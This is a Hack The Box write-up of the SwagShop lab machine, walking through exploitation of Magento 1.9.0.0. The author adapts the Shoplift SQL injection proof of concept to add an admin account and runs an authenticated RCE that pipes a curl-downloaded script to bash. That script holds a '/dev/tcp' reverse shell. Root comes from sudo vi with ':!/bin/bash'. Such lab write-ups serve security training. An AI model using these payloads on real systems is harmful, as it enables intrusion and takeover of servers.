Hack The Box SwagShop Writeup (Easy Linux)
Easy Linux box. Magento 1.9.0.0 falls to the Shoplift SQL injection for an admin account, an authenticated RCE gives www-data, and sudo vi gives root.
Summary
SwagShop runs an old Magento storefront on Apache, with a 2014 copyright in the footer and index.php sitting in every route. The Shoplift SQL injection from 2015, SUPEE-5344, inserts a new administrator straight into the database, and a proof of concept fixed up for Python 3 creates an account that logs into /index.php/admin. The panel prints the exact version, Magento CE 1.9.0.0, which matches an authenticated remote code execution exploit that needs the installation date, readable from app/etc/local.xml. Running that exploit to curl and pipe a shell script returns a reverse shell as www-data. That user may run /usr/bin/vi on /var/www/html/* as root with no password, so :!/bin/bash from inside the editor spawns a root shell.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.93 scan initiated Tue Nov 11 15:51:15 2025 as: nmap -A -vv -oN scans/nmap.initial -vv 10.129.229.138
Nmap scan report for 10.129.229.138
Host is up, received conn-refused (0.13s latency).
Scanned at 2025-11-11 15:51:15 -03 for 28s
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6552bd24e8fa3817261379a12f624ec (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgTCefp89MPJm2oaJqietdslSBur+eCMVQRW19iUL2DQSdZrIctssf/ws4HWN9DuXWB1p7OR9GWQhjeFv+xdb8OLy6EQ72zQOk+cNU9ANi72FZIkpD5A5vHUyhhUSUcnn6hwWMWW4dp6BFVxczAiutSWBVIm2YLmcqwOEOJhfXLVvsVqu8KUmybJQWFaJIeLVHzVgrF1623ekDXMwT7Ktq49RkmqGGE+e4pRy5pWlL2BPVcrSv9nMRDkJTXuoGQ53CRcp9VVi2V7flxTd6547oSPck1N+71Xj/x17sMBDNfwik/Wj3YLjHImAlHNZtSKVUT9Ifqwm973YRV9qtqtGT
| 256 2e30007a92f0893059c17756ad51c0ba (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEG18M3bq7HSiI8XlKW9ptWiwOvrIlftuWzPEmynfU6LN26hP/qMJModcHS+idmLoRmZnC5Og9sj5THIf0ZtxPY=
| 256 4c50d5f270c5fdc4b2f0bc4220326434 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINmmpsnVsVEZ9KB16eRdxpe75vnX8B/AZMmhrN2i4ES7
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 88733EE53676A47FC354A61C32516E82
|_http-title: Did not follow redirect to http://swagshop.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 11 15:51:43 2025 -- 1 IP address (1 host up) scanned in 28.66 seconds
Web Server Enumeration
The web server is running “Magento”, which is kind of a CMS like Wordpress but for e-commerce. I can see in the webpage’s footer the copyright notice for the year of 2014, which could indicate that this Magento version is (very) old, from 2014. This immediately makes me look for CVEs and public exploits.
When investigating the website further, I noticed this strange pattern in the url. It seems like a misconfiguration on the back-end is making it so that “index.php” is shown in every route:
This little piece of information is crucial to further steps down the rabbit hole. I use cvedetails to find vulnerabilities for Magento. I locate one vulnerability from 2015 for SQL injection:
One of the reference links to the vulnerability refers to Magento Shoplift (SUPEE-5344). It seems like the vulnerability allows the attacker to insert data into the database, including adding an admin user to the website. I found multiple exploits for this vulnerability online, including one github repository containing what seems to be the PoC for the vulnerability.
I copy the code, and save it to my machine as “shoplift.py”. I modified the code to point to the machine:
1
2
3
4
5
6
7
8
# imports...
import base64
import sys
target = "http://swagshop.htb/"
# rest of the code
However it did not work at first, specifically because of old python 2 syntax:
1
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?
I fix the code by implementing the proper syntax for python3:
1
2
3
4
5
if r.ok:
print("WORKED")
print("Check {0}/admin with creds forme:forme".format(target))
else:
print("DID NOT WORK")
Then error because of encoding:
1
2
3
4
5
6
7
8
9
$ python3 shoplift-unpatched.py http://swagshop.htb/
Traceback (most recent call last):
File "/home/user/hacking/htb/machines/easy/swagshop/shoplift-unpatched.py", line 32, in <module>
"filter": base64.b64encode(pfilter),
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/base64.py", line 58, in b64encode
encoded = binascii.b2a_base64(s, newline=False)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: a bytes-like object is required, not 'str'
I just need to encode a specific string variable to bytes:
1
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query).encode()
I notice the script will create a default user with a very weak password. I edit it.
1
query = SQLQUERY.replace("\n", "").format(username="behindsecurity", password="BehindSecurity@2025!")
And then the success message:
1
2
3
4
5
if r.ok:
print("WORKED")
print("Check {0}/admin with creds behindsecurity:BehindSecurity@2025!".format(target))
else:
print("DID NOT WORK")
I run the script, it worked and now I can log in to Magento’s administrative panel at http://swagshop.htb/index.php/admin/:
At the bottom of the administrative panel, I see the exact version for Magento:
More specifically:
1
Magento ver. 1.9.0.0
Initial Access - Magento RCE
I run:
1
searchsploit magento
And one of the results include:
1
Magento CE < 1.9.0.1 - (Authenticated) Remote Code | php/webapps/37811.py
This version matches the version we’re currently facing. I grab the exploit script:
1
searchsploit -m php/webapps/37811.py
I open the script with my text editor and notice a peculiar configuration option:
It seems like I need to discover the exact installation date for this instance of Magento in order for this remote code execution exploit to work. Thankfully the script itself tells me where to look for (http://swagshop.htb/app/etc/local.xml):
I use the exact date like this:
1
install_date = 'Wed, 08 May 2019 07:23:09 +0000'
I tried this exploit, did change some functions and logic but nothing worked. I searched for a new exploit and found this github repo. Same configuration options:
1
2
3
4
username = 'behindsecurity' # CHANGE THIS
password = 'BehindSecurity@2025!' # CHANGE THIS
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'
I get a reverse shell by first creating shell.sh:
1
sh -i >& /dev/tcp/10.10.14.57/9999 0>&1
Then starting a python http server:
1
sudo python3 -m http.server 80
And using the exploit:
1
$ python3 magento-rce-exploit.py http://swagshop.htb/index.php/admin 'curl 10.10.14.57/shell.sh|bash'
It connects back to me and now I have a shell in the system as www-data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.57] from (UNKNOWN) [10.129.229.138] 40702
sh: 0: can't access tty; job control turned off
$
$ python3 --version
Python 3.6.9
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@swagshop:/var/www/html$ export TERM=xterm
www-data@swagshop:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 9999
user@attackbox:~/hacking/htb/machines/easy/swagshop$ stty raw -echo ;fg
www-data@swagshop:/var/www/html$
Vertical Privilege Escalation
The user “www-data” has sudo privileges, specifically to use vi:
1
2
3
4
5
6
7
www-data@swagshop:/var/www/html$ sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
I can abuse this by first getting into vi:
1
sudo /usr/bin/vi /var/www/html/*
And then, when in the vi editor, run:
Specifically:
1
:!/bin/bash
Now i’m root:
1
2
root@swagshop:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)







